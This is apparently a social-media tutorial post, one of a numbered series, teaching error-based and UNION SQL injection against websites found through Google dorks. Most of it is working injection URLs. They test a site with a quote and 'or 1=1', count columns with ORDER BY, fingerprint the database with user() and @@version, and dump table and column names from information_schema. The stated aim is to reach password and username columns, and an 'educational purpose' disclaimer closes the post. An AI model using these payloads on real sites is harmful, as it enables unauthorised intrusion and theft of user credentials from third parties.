Hello friends this is Me Sharetor, Today i'm with Databases Error Based SQL Injection or In-band. In last lesson#67 & 68 we have learnt about SQL,DATABASE,LOGIN BYPASS.
Now today we are Going to Continue OuR Lesson, So Make sure to read my Previous Lesson So that you May Get a Grip.
There are 3 different kinds of SQL Injections possible on web applications. They are:
This is also called Error-based or Union based SQL Injection or first order Injection.
Now lets first find a website which vulnerable to SQL Injection. So You Can Make use Of Google Dorks. [ don't know what is Google Dorks then Read lesson#C1 here its link https://m.facebook.com/story.php?story_fbid=464242460623726&id=384835275231112 ]
Now Once you have Found the website, just Confirm with yourSelf is it Vulnerable,
NOW I HAVE Website http://www.website.com/index.php?id=310 Now i just have to add (') *single quote* sign at the end of the URL.
So lets try http://www.website.com/index.php?id=310' (BOOM! Found it as "Error in your SQL Syntax" or "blank page" or "anyother changes" that means it is vulnerable, if not then its not vulnerable) If single quote (‘) is blocked, then we can try using “or 1=1 –” or “and 1=1” at the end of the URL. http://www.website.com/index.php?id=310 or 1=1 –
Now lets try to dump whole database by using “UNION” and “SELECT” commands. Now we need to find out DBMS type (MS-SQL, MYSQL, ORACLE).
all the above databases have different syntax.
MYSQL: user ()
ORACLE: select user from dual;
Now i will try with MS-SQL user_name()
http://www.website.com/index.php?id=310 union select 1,2,3,4,5,6,7
http://www.website.com/index.php?id=310 union select 1,user_name(),3,4,5,6,7
Here i have replaced "2" with "user_name()"
If The above URL gives an error saying “Function user_name doesn’t exist”. Which means the DBMS isn’t MS-SQL.
Now let’s try with “user ()”
http://www.website.com/index.php?id=310 union select 1,user(),3,4,5,6,7
The above URL display the user name of the DBMS. So we confirm that the DBMS is MYSQL.
If you dint find again, then try Next.
Now We know that it is using MYSQL so that we can use Mysql function 2,3,5,7 and dump the database on the web page.
*.* Now we have to find the colums
lets try with colums in the table using Union and Null
http://www.website.com/index.php?id=310 union select NULL
If an error Popup “Select statement having different number of columns”. Now we understand that there are more than one column in the table.
Lets try with “ORDER BY” for finding out the number of columns in table.
http://www.website.com/index.php?id=310 order by 7–
if the page shows the error message occurred by accessing the web site using the above URL. That mean it has Seven Colums in a table.
Now if we want to see the extracted data from the database then add (-) negative sign before the ID value. Then the data appears on the web page straight away.
http://www.website.com/index.php?id=-310 union select 1,2,3,4,5,6,7
(Note: Negative sign (-) before 310)
Then it displays some of the numbers on the web page. The above URL displays 2,3,5,7 on the web page.
*.* Now lets find the database version
http://www.website.com/index.php?id=-310 union select 1,@@version,database(),4,5,6,7
It display the database version “5.0” and the database “website”.
*.* Extracting Tables from the database:
let us try extracting all the tables from the database “website”.
http://www.website.com/index.php?id=-310 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()—
shows all the tables dumped from the database “website”.
Information_schema is the table which contains meta-data, nothing but information about all the tables and columns of the database.
*.* Extracting columns from the tables:
http://www.website.com/index.php?id=-310 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database()–
displays all the columns of the tables in the database “website”. We can look at all the columns and then dump the interesting columns like passwords, username,dob,useid.
Continue in next lesson
.WARNING:- THIS POSTS IS MADE FOR EDUCATIONAL PURPOSE. I AM NOT RESPONSIBLE FOR YOUR ACTIVITIES
B-) if you liked my post the hit like B-) and also comment if any doubt. B-) i do not get money if you like and comment but it gives me Inspiration. :-)